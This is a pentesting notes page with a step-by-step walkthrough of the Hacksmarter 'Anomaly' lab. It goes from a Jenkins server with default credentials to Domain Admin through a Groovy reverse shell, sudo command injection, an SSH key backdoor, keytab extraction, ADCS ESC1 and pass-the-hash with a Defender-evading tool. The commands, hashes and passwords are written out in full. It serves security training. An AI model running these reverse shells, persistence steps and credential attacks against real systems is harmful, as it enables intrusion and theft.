> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/ad-machines-walkthroughs/hacksmarter-anomaly.md).
# Hacksmarter - Anomaly
Ubuntu Web server and an AD Server
## Enumeration
#### 1.1 Service Discovery (Ubuntu Server)
The first step is identifying open ports and services on the initial target.
**Command Used:**
```
sudo nmap -A 10.1.243.1 -T4 -oN ubunto.nmap
```
**Results:**
* **Port 22/TCP**: SSH (OpenSSH)
* **Port 8080/TCP**: Web Server (Jenkins)
***
#### 1.2 SSH Analysis
When SSH is detected, it is critical to determine the allowed authentication methods.
* **Observation:** Attempting to connect via `ssh root@` resulted in a "Permission denied (publickey)" error.
```
ssh root@10.1.243.1
```
* **Conclusion:** **Key-based authentication** is enforced. This is a security strength as it prevents password spraying and brute-force attacks.
***
#### 1.3 Web Enumeration (Port 8080)
The web server was identified as a **Jenkins** instance.
* **Directory Brute Forcing:** Nothing interesting found.
```
dirsearch -u http://10.1.243.1:8080 -e php,html,txt
```
* **Authentication:** \* The instance was secured with a login portal.
* **Weak Credentials Found:** `admin:admin`.
> **Note:** Always apply the **KISS (Keep It Simple, Stupid)** principle. Before looking for complex CVEs, test common/default credentials (e.g., `admin:admin`, `jenkins:jenkins`, `root:root`).
***
### Initial Access: Ubuntu Server
#### 2.1 Jenkins Exploitation via Script Console
Jenkins features a "Script Console" (found under **Manage Jenkins > Script Console**) that allows users to execute arbitrary Groovy scripts on the server. This is a common vector for Remote Code Execution (RCE).
#### 2.2 Reverse Shell (Groovy)
To gain a shell on the underlying Linux OS, a Groovy reverse shell script was executed.
**Groovy Script Used:**
```
String host="10.200.76.222";
int port=8044;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
**Execution Steps:**
1. **Start Listener:** On your attacker machine, start a Netcat listener.
```
nc -lvnp 8044
```
2. **Execute Script:** Paste the Groovy script into the Jenkins Script Console and click **Run**.
**Verify Access:** Once the connection is received, verify the user context.
```
whoami
# Output: jenkins
```
***
### Enumerating the Domain Controller
While the initial focus was on the Ubuntu server, preliminary scans were run on the Windows Domain Controller to check for easy wins like unprotected SMB shares.
**Lets do the nmap scan**
```
┌──(kali㉿kali)-[~/Desktop/anomaly]
└─$ sudo nmap -A 10.1.234.184 -T4 -oN AD.nmap
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-03 11:10 EDT
Nmap scan report for 10.1.234.184
Host is up (0.22s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-08-03 15:10:17Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: anomaly.hsm0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Anomaly-DC.anomaly.hsm
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:Anomaly-DC.anomaly.hsm
| Not valid before: 2025-09-21T22:14:26
|_Not valid after: 2026-09-21T22:14:26
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: anomaly.hsm0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Anomaly-DC.anomaly.hsm
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:Anomaly-DC.anomaly.hsm
| Not valid before: 2025-09-21T22:14:26
|_Not valid after: 2026-09-21T22:14:26
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: anomaly.hsm0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Anomaly-DC.anomaly.hsm
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:Anomaly-DC.anomaly.hsm
| Not valid before: 2025-09-21T22:14:26
|_Not valid after: 2026-09-21T22:14:26
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: anomaly.hsm0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Anomaly-DC.anomaly.hsm
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:Anomaly-DC.anomaly.hsm
| Not valid before: 2025-09-21T22:14:26
|_Not valid after: 2026-09-21T22:14:26
3389/tcp open ms-wbt-server
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Anomaly-DC.anomaly.hsm
| Not valid before: 2026-08-02T14:40:11
|_Not valid after: 2027-02-01T14:40:11
| rdp-ntlm-info:
| Target_Name: ANOMALY
| NetBIOS_Domain_Name: ANOMALY
| NetBIOS_Computer_Name: ANOMALY-DC
| DNS_Domain_Name: anomaly.hsm
| DNS_Computer_Name: Anomaly-DC.anomaly.hsm
| Product_Version: 10.0.26100
|_ System_Time: 2026-08-03T15:11:09+00:00
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3389-TCP:V=7.95%I=7%D=8/3%Time=6A70AF5E%P=x86_64-pc-linux-gnu%r(Ter
SF:minalServerCookie,13,"\x03\0\0\x13\x0e\xd0\0\0\x124\0\x02\?\x08\0\x02\0
SF:\0\0");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 3 hops
Service Info: Host: ANOMALY-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-08-03T15:11:09
|_ start_date: N/A
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 220.22 ms 10.200.0.1
2 ...
3 225.01 ms 10.1.234.184
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.38 seconds
```
Now, lets see if we can enumerate the shares
```
netexec smb 10.1.234.184 -u '' -p '' --shares
```
* **`netexec` (formerly CrackMapExec)**: Used here to check for **Null Sessions** (empty username and password).
* **Status:** `STATUS_ACCESS_DENIED`. No anonymous share access was granted.
## Initial Foothold into the Network
### 1. Shell Stabilization
After gaining a reverse shell, the connection is often "unstable" (no tab completion, no `clear` command, and prone to dying).
#### 1.1 The Python Method
A quick way to get an interactive shell:
```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```
#### 1.2 Full TTY Stabilization (Manual)
To get a fully functional terminal (handling `Ctrl+C` without dying):
1. In the reverse shell: `python3 -c 'import pty; pty.spawn("/bin/bash")'`
2. Background the shell: `Ctrl+Z`
3. In your local terminal: `stty raw -echo; fg`
4. Type `reset` and press enter.
5. Set the shell environment: `export TERM=xterm`
> **Note:** The instructor recommended the **HackTools** browser extension (Chrome/Firefox) as a "cheat sheet" for these commands.
***
### 2. Privilege Escalation (Local)
#### 2.1 Enumerating Sudo Permissions
Checking what commands the current user (`jenkins`) can run with root privileges: **Command:** `sudo -l`
#### 2.2 Exploiting `router_config`
The binary `/usr/bin/router_config` was identified as a custom utility. Testing revealed it was vulnerable to **Command Injection**.
**The Vulnerability:** The binary takes user input (a filename) and passes it to a system shell without sanitization. By using shell metacharacters like `;`, `&&`, or `||`, we can execute arbitrary commands.
**Exploitation Steps:**
1. **Verify Injection:**
```
sudo /usr/bin/router_config whoami
```
Result: Returns `root`
**Spawn Root Shell:**
```
sudo /usr/bin/router_config "/bin/bash -i"
```
*Note:* The `-i` flag ensures the shell is interactive.
Now we can also read the user flag.
```
ZmxhZ3toMWRkM25fcjRuZDBtXzl4N3BRen0=
```
***
### 3. Persistence: SSH Backdoor
To ensure access isn't lost if the Jenkins service is restarted or the exploit is patched, we establish persistence by adding our SSH public key to the root user's account.
**Steps:**
**On your Attacker Machine:** Copy your public key (usually found in `~/.ssh/id_rsa.pub`).
If you dont have a public key create one.
```
ssh-keygen
```
**On the Target (as Root):** Append the key to the `authorized_keys` file.
```
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3Nza...[Your_Key]..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
```
```
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFktCClwd5N79dUWyHm44l4hk2TFyAbIJz+mCmAPgsgf kali@kali" >> /root/.ssh/authorized_keys
```
3. **Verify Connection:**
```
ssh root@10.1.243.1
```
***
### 4. Post-Exploitation Findings
* **System Users:** Only `ubuntu` and `jenkins` were found in the `/home` directory.
* **Infrastructure Note:** The Hacksmarter platform saves machine state, meaning the SSH backdoor will persist even if the lab is stopped and restarted.
## Pivoting from Linux to Active Directory
### 1. Post-Exploitation Enumeration
Once root access is achieved, the goal shifts to finding links to the Active Directory (AD) environment.
* **Bash History:** Checked `/root/.bash_history` and `/home/ubuntu/.bash_history`. No sensitive commands or cleartext credentials were found.
* **Service Analysis:** A script `vone.sh` was found, which likely automated the Jenkins setup, but it provided no AD pivot.
***
### 2. Identifying the Pivot: Kerberos Keytabs
Since the Ubuntu machine does not have an obvious domain user logged in, we look for **Kerberos** configurations that allow the machine or services to talk to the Domain Controller (DC).
#### 2.1 Locating Keytabs
Keytab files store Kerberos "principals" (user or service accounts) and their encrypted keys. They allow services to authenticate without a manual password.**Discovery Command:**
```
ls /etc/krb5*
```
* **`/etc/krb5.conf`**: The Kerberos configuration file. It contains the AD Realm (**ANOMALY.HSM**) and the DC hostname (**anomaly-dc.anomaly.hsm**).
* **`/etc/krb5.keytab`**: The encrypted file containing credentials.
***
### 3. Extracting Keytab Data
First we need to download the keytab file
```
scp root@10.1.243.1:/etc/krb5.keytab .
```
Keytab files are binary and encrypted. To see what's inside, we use a tool like **KeyTabExtract**.
**Tool Usage:**
```
wget https://raw.githubusercontent.com/sosdave/KeyTabExtract/master/keytabextract.py
```
```
python3 keytabextract.py krb5.keytab
```
```
REALM : ANOMALY.HSM
SERVICE PRINCIPAL : Brandon_Boyd/
AES-256 HASH : f9754c5288b844eb86054695b2c12b93716f57c41d26325c1a994e12bbbeff52
```
**Results of Extraction:**
* **Realm:** `ANOMALY.HSM`
* **Service Principal:** `brandon.boyd@ANOMALY.HSM`
* **Encryption Type:** `AES-256`
* **Note:** While NTLM hashes weren't extracted, the **AES-256 key** acts as the user's password for Kerberos authentication.
***
### 4. Setting Up the Pivot Environment
To use these credentials from an attacker machine (Kali), you must "tell" your OS how to find the domain.
#### 4.1 Update `/etc/hosts`
Map the IP found in previous parts to the Domain Controller's Full Qualified Domain Name (FQDN).
```
10.1.234.184 anomaly-dc.anomaly.hsm anomaly-dc
```
#### 4.2 Configure `/etc/krb5.conf`
Ensure your local Kerberos configuration matches the target domain. Copy from the ubuntu machine
```
[libdefaults]
default_realm = ANOMALY.HSM
dns_lookup_realm = true
dns_lookup_kdc = true
[realms]
ANOMALY.HSM = {
kdc = Anomaly-DC.anomaly.hsm
admin_server = Anomaly-DC.anomaly.hsm
}
[domain_realm]
.anomaly.hsm = ANOMALY.HSM
anomaly.hsm = ANOMALY.HSM
```
## Pivoting from Linux to Active Directory
### 1. Environment Setup (Kali Linux)
To use Kerberos tickets on a non-domain-joined Linux machine, specific tools and configurations are required.
#### 1.1 Installing Kerberos Clients
The `kinit` utility is not always installed by default. On Debian-based systems (like Kali), it is part of the `krb5-user` package.
**Command:** `sudo apt install krb5-user`
#### 1.3 Updating `/etc/hosts`
Ensure your machine can resolve the Domain Controller's hostname.
**Action:** Add the following line to `/etc/hosts`:
```
10.1.234.184 anomaly-dc.anomaly.hsm anomaly-dc
```
> **Common Pitfall:** Ensure the IP address is for the **Domain Controller**, not the web server.
***
### 2. Kerberos Authentication
#### 2.1 Generating a Ticket with `kinit`
Use the keytab file found on the Ubuntu server to request a Ticket Granting Ticket (TGT) without a password.**Command:**
```
kinit -kt krb5.keytab Brandon_Boyd@ANOMALY.HSM
```
* **`-kt`**: Specifies the path to the keytab file.
* **`brandon.boyd@ANOMALY.HSM`**: The Kerberos principal (Case-sensitive, Realm must be uppercase).
#### 2.2 Verifying the Ticket
**Command:** `klist`This command displays your active Kerberos tickets. Look for a `krbtgt` ticket for the `ANOMALY.HSM` realm.
***
### 3. AD Enumeration via LDAP
#### 3.1 Exporting the Cache
To use the ticket with tools like `netexec` or `impacket`, you must point the environment variable to your ticket cache.**Command:**
```
export KRB5CCNAME=/tmp/krb5cc_1000
# Path may vary; check klist output
```
#### 3.2 Hunting for Credentials in Descriptions
Active Directory objects often have a "Description" field. Administrators occasionally leave passwords or sensitive notes here.
```
nxc ldap anomaly-dc.anomaly.hsm -u brandon_boyd -k --use-kcache
```
So i can authenticate successfully.
**Command (using NetExec):**
```
nxc ldap anomaly-dc.anomaly.hsm -u brandon_boyd -k --users --use-kcache
```
* **`-k`**: Use Kerberos authentication.
* **`--users`**: Enumerates all domain users and their details.
\*\*Findings:\*\*A cleartext password for **Brandon Boyd** was discovered in his own account's description field.
**Password is here**
```
3edc4rfv#EDC$RFV
```
***
### 4. Verification of Credentials
Once a cleartext password is found, verify it against other services like SMB to confirm access levels.**Command:**
```
netexec smb anomaly-dc.anomaly.hsm -u 'brandon_boyd' -p '3edc4rfv#EDC$RFV' --shares
```
*Result: Authenticated. Access to standard shares (SYSVOL, NETLOGON) confirmed.*
## Enumerating Active Directory
### 1. Collecting BloodHound Data
BloodHound requires specific data (users, groups, sessions, ACLs) to build its graph. While **SharpHound.exe** is the standard collector for Windows, **NetExec (nxc)** can collect this data directly over LDAP from a Linux attack machine.
**Command:**
```
netexec ldap 10.1.234.184 -u brandon_boyd -p '3edc4rfv#EDC$RFV' --bloodhound -c all --dns-server 10.1.234.184
```
* **`--bloodhound`**: Activates the BloodHound collection module.
* **`-c all`**: Collects all available data types (Users, Groups, Computers, ACLs, etc.).
* **`--dns-server`**: Explicitly points to the Domain Controller for name resolution.
> **Tip:** If NetExec fails to find the DC by domain name, use the IP address for the `--dns-server` flag.
***
### 2. Deploying BloodHound Community Edition (CE)
The instructor used the **BloodHound CLI** to manage the instance via Docker.
#### 2.1 Installation & Launch
1. **Download:** Get the binary from the [BloodHound CLI GitHub](https://github.com/SpecterOps/bloodhound-cli).
2. **Setup:**
```
sudo bloodhound-cli up
```
3. **Access:** Navigate to `http://localhost:8080` in your browser.
4. **Login:** Use the randomly generated password provided by the install command (default user: `admin`).
#### 2.2 Data Ingestion
1. **Locate Logs:** NetExec saves the collected `.zip` or `.json` files in `~/.nxc/logs/`.
2. **Upload:** In the BloodHound UI, go to **Administration > Data Collection > File Ingest** and upload the zip file.
***
### 3. Enumeration Strategy in BloodHound
#### 3.1 Marking the "Owned" User
Search for the compromised user (**Brandon Boyd**) and right-click the node to select **Mark User as Owned**. This allows BloodHound to calculate paths starting specifically from your current level of access.
#### 3.2 Key Queries for AD Analysis
The instructor recommended running standard built-in queries to "get the lay of the land":
| **Query Type** | **Purpose** | **Finding in Anomaly** |
| ----------------------------------- | ------------------------------------------------- | ---------------------------------------------- |
| **Find all Domain Admins** | Identify Tier 0 targets. | Users: Administrator, Anna Molly. |
| **Shortest Paths to Domain Admins** | Map the direct route to full control. | Result: No direct path found for Brandon Boyd. |
| **Find Kerberoastable Users** | Check for service accounts with crackable hashes. | Result: None found. |
| **Find AS-REP Roastable Users** | Check for users with pre-auth disabled. | Result: None found. |
#### Domain Admins
***
### 4. The "Wall" and Next Steps
Sometimes, BloodHound does not show a "traversable" edge (a clear line) to Domain Admin. This typically indicates a more complex vulnerability is present that isn't covered by basic collectors.
**Potential Advanced Attack Vectors:**
* **AD CS (Active Directory Certificate Services):** Misconfigured certificate templates (e.g., ESC1, ESC2, ESC3).
* **GPO Abuse:** Permissions to edit Group Policy Objects that apply to high-value targets.
* **Service-Specific Flaws:** Credentials hidden in files or specialized service permissions.
## Exploiting ADCS Misconfigurations
### 1. Enumerating ADCS Vulnerabilities
When BloodHound does not show a direct ACL-based path, **ADCS (Active Directory Certificate Services)** is a primary target. Misconfigured certificate templates can allow low-privileged users to impersonate high-privileged users.
#### 1.1 Using Certipy
The standard tool for auditing ADCS is **Certipy** (called `certipy-ad` on Kali).
**Command:**
```
certipy-ad find -u 'brandon_boyd@anomaly.hsm' -p '3edc4rfv#EDC$RFV' -dc-ip 10.1.234.184 -text -enabled -hide-admins -vulnerable
```
* **`-vulnerable`**: Filters the output to show only templates with potential exploit paths (e.g., ESC1, ESC2, ESC3, etc.).
```
──(kali㉿kali)-[~/Desktop/anomaly]
└─$ cat 20260804124904_Certipy.txt
Certificate Authorities
0
CA Name : anomaly-ANOMALY-DC-CA-2
DNS Name : Anomaly-DC.anomaly.hsm
Certificate Subject : CN=anomaly-ANOMALY-DC-CA-2, DC=anomaly, DC=hsm
Certificate Serial Number : 3F1A258E7CADC7AE4C54650883521D22
Certificate Validity Start : 2025-09-21 21:25:39+00:00
Certificate Validity End : 2124-09-21 21:35:38+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Access Rights
Enroll : ANOMALY.HSM\Authenticated Users
Certificate Templates
0
Template Name : CertAdmin
Display Name : CertAdmin
Certificate Authorities : anomaly-ANOMALY-DC-CA-2
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Secure Email
Encrypting File System
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 99 years
Renewal Period : 650430 hours
Minimum RSA Key Length : 2048
Template Created : 2025-09-21T17:57:59+00:00
Template Last Modified : 2025-09-21T17:58:00+00:00
Permissions
Object Control Permissions
Full Control Principals : ANOMALY.HSM\Domain Computers
Write Owner Principals : ANOMALY.HSM\Domain Computers
Write Dacl Principals : ANOMALY.HSM\Domain Computers
[+] User Enrollable Principals : ANOMALY.HSM\Domain Computers
[+] User ACL Principals : ANOMALY.HSM\Domain Computers
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication.
ESC4 : User has dangerous permissions.
```
**Findings:**
The scan identified the **`CertAdmin`** template as vulnerable to **ESC1**.
* **ESC1 Criteria:** The template allows the requester to specify a **Subject Alternative Name (SAN)**. If a user can enroll in this template, they can request a certificate as any user (including a Domain Admin).
* As we can enrol a computer and give it permissions.
***
### 2. Exploiting ESC1
#### 2.1 Prerequisite: Adding a Computer Account
{% embed url="" %}
The `CertAdmin` template ACL revealed that only **Domain Computers** have enrollment rights. Since Brandon Boyd is a **Domain User**, we must first add a machine account we control.
Check if we can add a computer
```
netexec ldap 10.1.234.184 -u brandon_boyd -p '3edc4rfv#EDC$RFV' -M maq
```
**Command (using Impacket):**
```
impacket-addcomputer 'anomaly.hsm/brandon_boyd:3edc4rfv#EDC$RFV' -dc-ip 10.1.234.184 -computer-name 'Hacksmarter' -computer-pass 'Hacksmarter123!'
```
*Note: This works if the `MachineAccountQuota` is greater than 0 (default is 10).*
#### Also get the SID of target user
```
impacket-lookupsid anomaly.hsm/brandon_boyd:'3edc4rfv#EDC$RFV'@10.1.234.184
```
#### 2.2 Requesting the Admin Certificate
Using the new computer account, we request a certificate impersonating the Domain Admin (**AnnaMolly**).
**Command:**
```
certipy-ad req \
-u 'Hacksmarter$@anomaly.hsm' \
-p 'Hacksmarter123!' \
-dc-ip 10.1.234.184 \
-ca 'anomaly-ANOMALY-DC-CA-2' \
-template 'CertAdmin' \
-upn 'Anna_Molly@anomaly.hsm' \
-sid 'S-1-5-21-1496966362-3320961333-4044918980-1105'
```
#### 2.3 Authenticating via PFX
Once the `.pfx` file is received, authenticate to the KDC to retrieve the NTLM hash of the admin user.
**Command:**
```
certipy-ad auth -pfx anna_molly.pfx -dc-ip 10.1.234.184
```
*Result: Returns the NTLM hash for the user AnnaMolly.*
```
aad3b435b51404eeaad3b435b51404ee:be4bf3131851aee9a424c58e02879f6e
```
Let us try evil-winrm, which failed.
```
evil-winrm -i 10.1.234.184 -u 'anna_molly' -H 'be4bf3131851aee9a424c58e02879f6e'
```
wmiexec also fails
```
impacket-wmiexec 'anomaly.hsm/anna_molly@10.1.234.184' -hashes 'aad3b435b51404eeaad3b435b51404ee:be4bf3131851aee9a424c58e02879f6e'
```
***
### 3. Evasion & Final Access
The target is running **Windows Defender**, which may block standard tools like `psexec` or `wmiexec`.
#### 3.1 Bypassing Defender with `wmiexec2`
Standard Impacket `wmiexec` is often flagged. The tool **`wmiexec2`** uses obfuscation to evade detection.
{% embed url="" %}
**Setup & Execution:**
```
git clone https://github.com/ice-wzl/wmiexec2
sudo python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
```
```
python3 wmiexec2.py \
'ANOMALY.HSM/anna_molly@Anomaly-DC.anomaly.hsm' \
-hashes aad3b435b51404eeaad3b435b51404ee:be4bf3131851aee9a424c58e02879f6e \
-no-pass \
-debug
```
#### 3.2 Capturing the Root Flag
Once the semi-interactive shell is established:
```
type C:\Users\Administrator\Desktop\root.txt
```
```
ZmxhZ3t3aW5kb3dzX2FkbWluXzdmOWIyWH0=
```
***
### Summary of Successive Compromise
| **Target** | **Method** | **Credential Gained** |
| --------------------- | ---------------------------------- | ----------------------- |
| **Ubuntu Web Server** | Jenkins Admin Login (admin) | jenkins User Shell |
| **Ubuntu Root** | router-config Sudo Exploitation | root Persistence (SSH) |
| **Brandon Boyd** | Kerberos Keytab + LDAP Description | AD Foothold |
| **AnnaMolly (DA)** | ADCS ESC1 via Machine Account | Admin NTLM Hash |
| **Domain Controller** | WMIExec2 (Pass-the-Hash) | **Domain Admin (Root)** |
